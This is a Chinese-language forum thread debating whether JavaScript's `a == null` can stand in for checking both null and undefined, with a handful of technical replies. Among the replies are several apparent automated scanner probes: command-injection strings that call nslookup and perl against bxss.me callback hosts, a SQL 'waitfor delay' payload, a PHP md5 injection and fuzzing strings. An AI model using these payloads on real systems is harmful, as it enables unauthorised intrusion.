可不可以用 a == null 来代替 a === null || a === undefined
发布于 1 年前 作者 daGaiGuanYu 7652 次浏览 来自 问答

今天闲着没事看 coffeescript,发现 coffeescript 会把

a = undefined
if a?
  console.log a

翻译成:

var a;
a = void 0;
if (a != null) {
  console.log(a);
}

然后我想了想、试了试,发现 0false"" 都不满足 == null

于是我就想,可不可以使用 a == null 来代替 a === null || a === undefined 呢?

26 回复

或者说,哪些值满足 == null

经验告诉我 可以

可以,但最好不要,因为不严谨,容易导致后面的人以为这个变量最坏只可能为null,手贱的人更是会直接把==改成===

@zy445566 哈哈,有道理

完全可以,在 GitHub 搜一下 nodejs 项目里 a != null 的写法 非常普遍,反而 a !== null && a !== undefined 的写法 比较少

一看都是不懂的 真的懂 == null 吗?

@xcfox 普遍不代表一定正确

12345'"&#39;&quot;);|]*%00{%0d%0a<%00>%bf%27'💡

12345'"&#39;&quot;);|]*%00{%0d%0a<%00>%bf%27'💡

|echo xctaqp$()\ ouafeo\nz^xyu||a #’ |echo xctaqp$()\ ouafeo\nz^xyu||a #|" |echo xctaqp$()\ ouafeo\nz^xyu||a #

1 waitfor delay '0:0:15' –

(nslookup hitagbxhzyzmnbbfed.bxss.me||perl -e "gethostbyname('hitagbxhzyzmnbbfed.bxss.me')")

'.print(md5(31337)).'

$(nslookup hittpxrmehoip2dc0b.bxss.me||perl -e "gethostbyname('hittpxrmehoip2dc0b.bxss.me')")

&(nslookup hititcjkodylg2f9d8.bxss.me||perl -e "gethostbyname('hititcjkodylg2f9d8.bxss.me')")&'&quot;0&amp;(nslookup hititcjkodylg2f9d8.bxss.me||perl -e &quot;gethostbyname(&#39;hititcjkodylg2f9d8.bxss.me&#39;)&quot;)&amp;'

|(nslookup hitmpagcxoocfe5671.bxss.me||perl -e "gethostbyname('hitmpagcxoocfe5671.bxss.me')")

(nslookup hitpeksqafunh02627.bxss.me||perl -e &quot;gethostbyname(&#39;hitpeksqafunh02627.bxss.me&#39;)&quot;)

;(nslookup hitinokvrtrww51825.bxss.me||perl -e "gethostbyname('hitinokvrtrww51825.bxss.me')")|(nslookup hitinokvrtrww51825.bxss.me||perl -e "gethostbyname('hitinokvrtrww51825.bxss.me')")&(nslookup hitinokvrtrww51825.bxss.me||perl -e "gethostbyname('hitinokvrtrww51825.bxss.me')")

12345’"’");|]*%00{%0d%0a<%00>%bf%27’💡

不可以,webstorm会飘红,烦得很

回到顶部